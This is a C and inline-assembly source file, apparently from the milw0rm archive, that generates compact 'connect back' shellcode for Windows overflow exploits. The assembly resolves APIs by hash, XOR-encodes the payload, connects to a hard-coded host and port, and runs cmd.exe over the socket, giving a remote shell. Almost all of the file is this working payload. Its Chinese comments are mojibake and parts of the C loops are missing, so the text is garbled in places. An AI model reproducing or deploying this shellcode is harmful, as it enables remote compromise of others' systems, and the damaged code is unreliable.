/* *----------------------------------------------------------------------- * * connectback_v32.c - Connect Back shellcode for Overflow exploit * * Copyright (C) 2000-2004 HUC All Rights Reserved. * * Author : lion * : lion@cnhonker.net * : http://www.cnhonker.com * : * Date : 2003-08-15 * : * Update : 2004-05-22 v3.2 * : 2004-05-05 v3.1 * : 2004-01-08 v3.0 * : 2003-09-10 v2.0 * : 2003-08-15 v1.0 * : * Tested : Windows 2000/Windows XP/windows 2003 * : * Notice : 1. ͨ¹ýpebÈ¡µÃkernel32.dllµØÖ·¡£ * : 2. ͨ¹ýº¯ÊýµÄhashÖµÀ´½øÐбȽϣ¬´úÌæGetProcAddressÈ¡µÃº¯ÊýµØÖ·£¬½ÚÊ¡º¯ÊýÃûÕ¼ÓõĿռ䡣 * : 3. ÀûÓÃÑ­»·»ñÈ¡hashÖµºÍº¯ÊýµØÖ·£¬½ÚÊ¡¿Õ¼ä¡£ * : 4. ·´Á¬¶Ë¿ÚÀ´»ñµÃshell¡£ * : 5. ÓÃvc6¿ÉÒÔÃüÁîÐÐÖ±½Ó±àÒ룬·½±ãÐ޸ġ£ * : 6. win2000/winxp/win2003 ϲâÊԳɹ¦¡£ * : 7. ÔÚʹ´úÂëÒ×ÓÚÐ޸ĵÄͬʱ×î´óÓÅ»¯Îª´óС275 bytes¡£ * : * Complie : cl connectback_v32.c * : * Reference: http://www.lsd-pl.net/documents/winasm-1.0.1.pdf * : http://www.metasploit.com/shellcode.html * *------------------------------------------------------------------------ */ #include #include #pragma comment(lib, "ws2_32") // Use for find the ASM code #define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90\ __asm _emit 0x90 __asm _emit 0x90\ __asm _emit 0x90 __asm _emit 0x90\ __asm _emit 0x90 __asm _emit 0x90 #define PROC_END PROC_BEGIN #define SEARCH_STR "\x90\x90\x90\x90\x90\x90\x90\x90\x90" #define SEARCH_LEN 8 #define MAX_SC_LEN 2048 #define HASH_KEY 13 // Define Decode Parameter #define DECODE_LEN 21 #define SC_LEN_OFFSET 7 #define ENC_KEY_OFFSET 11 #define ENC_KEY 0x99 // Define Function Addr #define ADDR_LoadLibraryA [esi] #define ADDR_CreateProcessA [esi+4] #define ADDR_ExitProcess [esi+8] #define ADDR_WaitForSingleObject [esi+12] #define ADDR_WSASocketA [esi+16] #define ADDR_connect [esi+20] #define ADDR_closesocket [esi+24] //#define ADDR_WSAStartup [esi+28] //#define ADDR_CMD [esi+32] // Need functions unsigned char functions[100][128] = { // [esi] stack layout // kernel32 4 // 00 kernel32.dll {"LoadLibraryA"}, // [esi] {"CreateProcessA"}, // [esi+4] {"ExitThread"}, // [esi+8] //{"ExitProcess"}, //{"TerminateProcess"}, {"WaitForSingleObject"}, // [esi+12] //{"WaitForSingleObjectEx"}, // ws2_32 3 // 01 ws2_32.dll {"WSASocketA"}, // [esi+16] {"connect"}, // [esi+20] {"closesocket"}, // [esi+24] //{"WSAStartup"}, // [esi+28] {""}, }; // Shellcode string unsigned char sc[1024] = {0}; // ASM shellcode main function void ShellCode(); // Get function hash static DWORD __stdcall GetHash ( char *c ) { DWORD h = 0; while ( *c ) { __asm ror h, HASH_KEY h += *c++; } return( h ); } // Print Shellcode void PrintSc(unsigned char *sc, int len) { int i,j; char *p; char msg[6]; //printf("/* %d bytes */\n", buffsize); // Print general shellcode for(i = 0; i < len; i++) { if((i%16)==0) { if(i!=0) printf("\"\n\""); else printf("\""); } //printf("\\x%.2X", sc[i]); sprintf(msg, "\\x%.2X", sc[i] & 0xff); for( p = msg, j=0; j < 4; p++, j++ ) { if(isupper(*p)) printf("%c", _tolower(*p)); else printf("%c", p[0]); } } printf("\";\n"); } void Make_ShellCode() { unsigned char *pSc_addr; unsigned int Sc_len; unsigned int Enc_key=ENC_KEY; unsigned long dwHash[100]; unsigned int dwHashSize; int i,j,k,l; // Get functions hash printf("[+] Get functions hash strings.\r\n"); for (i=0;;i++) { if (functions[i][0] == '\x0') break; dwHash[i] = GetHash((char*)functions[i]); printf("\t%.8X\t%s\n", dwHash[i], functions[i]); } dwHashSize = i*4; // Deal with shellcode pSc_addr = (unsigned char *)ShellCode; for (k=0;k0; i--) { l = 0; for(j=DECODE_LEN; j ebx) dec ebx xor ecx,ecx mov cl,0xFF // Decode len decode_loop: xor byte ptr [ebx+ecx],0x99 // Decode key loop decode_loop jmp short decode_ok decode_end: call decode_start decode_ok: //-------------------------------------------------------------------- // // ShellCode // //-------------------------------------------------------------------- jmp sc_end sc_start: pop edi // Hash string start addr (esp -> edi) // Get kernel32.dll base addr mov eax, fs:0x30 // PEB mov eax, [eax+0x0c] // PROCESS_MODULE_INFO mov esi, [eax+0x1c] // InInitOrder.flink lodsd // eax = InInitOrder.blink mov ebp, [eax+8] // ebp = kernel32.dll base address mov esi, edi // Hash string start addr -> esi // Get function addr of kernel32 push 4 pop ecx getkernel32: call GetProcAddress_fun loop getkernel32 // Get ws2_32.dll base addr push 0x00003233 push 0x5f327377 push esp call ADDR_LoadLibraryA // LoadLibraryA("ws2_32"); //mov ebp, eax // ebp = ws2_32.dll base address xchg eax, ebp // Get function addr of ws2_32 push 3 pop ecx getws2_32: call GetProcAddress_fun loop getws2_32 /* //LWSAStartup: sub esp, 400 push esp push 0x101 call ADDR_WSAStartup // WSAStartup(0x101, &WSADATA); */ //LWSASocketA: push ecx push ecx push ecx push ecx push 1 push 2 call ADDR_WSASocketA // s=WSASocketA(2,1,0,0,0,0); //mov ebx, eax // socket -> ebx xchg eax, ebx //Lconnect: push 0x0100007F // host: 127.0.0.1 push 0x35000002 // port: 53 mov ebp, esp push 0x10 // sizeof(sockaddr_in) push ebp // sockaddr_in address push ebx // socket s call ADDR_connect // connect(s, name, sizeof(name)); // if connect failed , exit test eax, eax jne Finished // xor eax, eax // allot memory for STARTUPINFO, PROCESS_INFORMATION mov edi, esp // zero out SI/PI push 0x12 pop ecx stack_zero: stosd loop stack_zero //mov byte ptr [esp+0x10], 0x44 // si.cb = sizeof(si) //inc byte ptr [esp+0x3C] // si.dwFlags //inc byte ptr [esp+0x3D] // si.wShowWindow //mov [esp+0x48], ebx // si.hStdInput = s //mov [esp+0x4C], ebx // si.hStdOutput = s //mov [esp+0x50], ebx // si.hStdError = s mov word ptr [esp+0x3c], 0x0101 xchg eax, ebx stosd stosd stosd mov edi, esp // push "cmd" push 0x00646d63 // "cmd" mov ebp, esp push eax // socket //LCreateProcess: lea eax, [edi+0x10] push edi // pi push eax // si push ecx // lpCurrentDirectory push ecx // lpEnvironment push ecx // dwCreationFlags push 1 // bInheritHandles push ecx // lpThreadAttributes push ecx // lpProcessAttributes push ebp // lpCommandLine = "cmd" push ecx // lpApplicationName NULL call ADDR_CreateProcessA // CreactProcessA(NULL,"CMD",0,0,1,0,0,0,si, pi); //LWaitForSingleObject: //push 1 push 0xFFFFFFFF push dword ptr [edi] call ADDR_WaitForSingleObject // WaitForSingleObject(Handle, time) ; //LCloseSocket: //push ebx call ADDR_closesocket // closesocket(c); Finished: //push 1 call ADDR_ExitProcess // ExitProcess(); // GetProcAddress_fun: push ecx push esi mov esi, [ebp+0x3C] // e_lfanew mov esi, [esi+ebp+0x78] // ExportDirectory RVA add esi, ebp // rva2va push esi mov esi, [esi+0x20] // AddressOfNames RVA add esi, ebp // rva2va xor ecx, ecx dec ecx find_start: inc ecx lodsd add eax, ebp xor ebx, ebx hash_loop: movsx edx, byte ptr [eax] cmp dl, dh jz short find_addr ror ebx, HASH_KEY // hash key add ebx, edx inc eax jmp short hash_loop find_addr: cmp ebx, [edi] // compare to hash jnz short find_start pop esi // ExportDirectory mov ebx, [esi+0x24] // AddressOfNameOrdinals RVA add ebx, ebp // rva2va mov cx, [ebx+ecx*2] // FunctionOrdinal mov ebx, [esi+0x1C] // AddressOfFunctions RVA add ebx, ebp // rva2va mov eax, [ebx+ecx*4] // FunctionAddress RVA add eax, ebp // rva2va stosd // function address save to [edi] pop esi pop ecx ret sc_end: call sc_start PROC_END //C macro to end proc } } // milw0rm.com [2004-10-25]